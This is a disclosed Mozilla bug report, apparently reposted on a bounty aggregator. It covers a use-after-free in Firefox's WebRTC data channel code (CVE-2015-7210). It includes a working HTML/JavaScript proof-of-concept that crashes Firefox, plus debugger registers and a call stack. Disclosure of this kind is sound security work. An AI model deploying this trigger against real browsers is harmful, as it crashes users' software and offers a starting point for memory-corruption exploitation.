UAF due to DataChannelConnection not Destroy()ed before deletion
Originally disclosed on Mozilla
- Fixed in 22 days
- Paid in 35 days
- Disclosed after 22 days
Created attachment 8678749
UAF_AutoSPSLock_Repro.html
Reproduce test case:
<html><script>
var rtcConfig = { "iceServers": [{ "url": "stun:stun.l.google.com:19302" }] };
var pc0 = new RTCPeerConnection(rtcConfig);
var pc1 = new RTCPeerConnection(rtcConfig);
pc1.onsignalingstatechange = function (e) {dataChan0 = pc1.createDataChannel("DataChanName0");};
var dataChan0 = pc0.createDataChannel("DataChanName0");;
pc1.close();
setTimeout(function(){location.reload()},270);
</script></html>
Steps to reproduce:
1. Open the attached test case (UAF_AutoSPSLock_Repro.html) in Firefox browser.
2. Firefox crashes in js::AutoSPSLock::~AutoSPSLock():
First-chance exception at 0x0F7A536F (nss3.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x5A5A5A62.
Unhandled exception at 0x0F7A536F (nss3.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x5A5A5A62.
The address pattern 0x5A5A5A indicates an Use After Free.
Firefox version: 44.0a1 (2015-10-03)
Variables:
+ lock 0x5a5a5a5a {links={next=??? prev=??? } owner=??? waitQ={next=??? prev=??? } ...} PRLock *
+ me 0x0769a000 {state=2 priority=PR_PRIORITY_NORMAL (1) arg=0x00000000 ...} PRThread *
me->flags 136 unsigned int
+ suspendAllThread 0x00000000 <NULL> PRThread *
Registers:
EAX = 5A5A5A5A EBX = 00000001 ECX = FE4FD000 EDX = FFFFFFFF ESI = 011C39A0 EDI = 0019495C EIP = 0F7A536F ESP = 0115EC8C EBP = 0115EC90 EFL = 00010206
0x5a5a5a62 = 00000000
Call Stack:
> nss3.dll!PR_Unlock(PRLock * lock) Line 322 C
xul.dll!js::AutoSPSLock::~AutoSPSLock() Line 221 C++
xul.dll!mozilla::BaseAutoLock<mozilla::Mutex>::~BaseAutoLock<mozilla::Mutex>() Line 170 C++
xul.dll!mozilla::DataChannelConnection::Close(mozilla::DataChannel * aChannel) Line 2495 C++
xul.dll!mozilla::DataChannel::Close() Line 2587 C++
xul.dll!nsDOMDataChannel::~nsDOMDataChannel() Line 50 C++
[External Code]
xul.dll!mozilla::DOMEventTargetHelper::DeleteCycleCollectable() Line 81 C++
xul.dll!mozilla::DOMEventTargetHelper::cycleCollection::DeleteCycleCollectable(void * p) Line 64 C++
xul.dll!SnowWhiteKiller::~SnowWhiteKiller() Line 2657 C++
xul.dll!nsCycleCollector::FreeSnowWhite(bool aUntilNoSWInPurpleBuffer) Line 2823 C++
xul.dll!nsCycleCollector_doDeferredDeletion() Line 4081 C++
xul.dll!AsyncFreeSnowWhite::Run() Line 144 C++
xul.dll!nsThread::ProcessNextEvent(bool aMayWait, bool * aResult) Line 960 C++
xul.dll!NS_ProcessNextEvent(nsIThread * aThread, bool aMayWait) Line 277 C++
xul.dll!mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate * aDelegate) Line 95 C++
xul.dll!MessageLoop::RunInternal() Line 235 C++
xul.dll!MessageLoop::RunHandler() Line 228 C++
xul.dll!MessageLoop::Run() Line 202 C++
xul.dll!nsBaseAppShell::Run() Line 158 C++
xul.dll!nsAppShell::Run() Line 178 C++
xul.dll!nsAppStartup::Run() Line 281 C++
xul.dll!XREMain::XRE_mainRun() Line 4298 C++
xul.dll!XREMain::XRE_main(int argc, char * * argv, const nsXREAppData * aAppData) Line 4391 C++
xul.dll!XRE_main(int argc, char * * argv, const nsXREAppData * aAppData, unsigned int aFlags) Line 4493 C++
firefox.exe!do_main(int argc, char * * argv, nsIFile * xreDirectory) Line 212 C++
firefox.exe!NS_internal_main(int argc, char * * argv) Line 399 C++
firefox.exe!wmain(int argc, wchar_t * * argv) Line 131 C++
[External Code]
[Frames below may be incorrect and/or missing, no symbols loaded for kernel32.dll]
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity memory corruption bug in WebRTC. Mozilla made it public on 17 November 2015 as CVE-2015-7210.
About Memory corruption
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.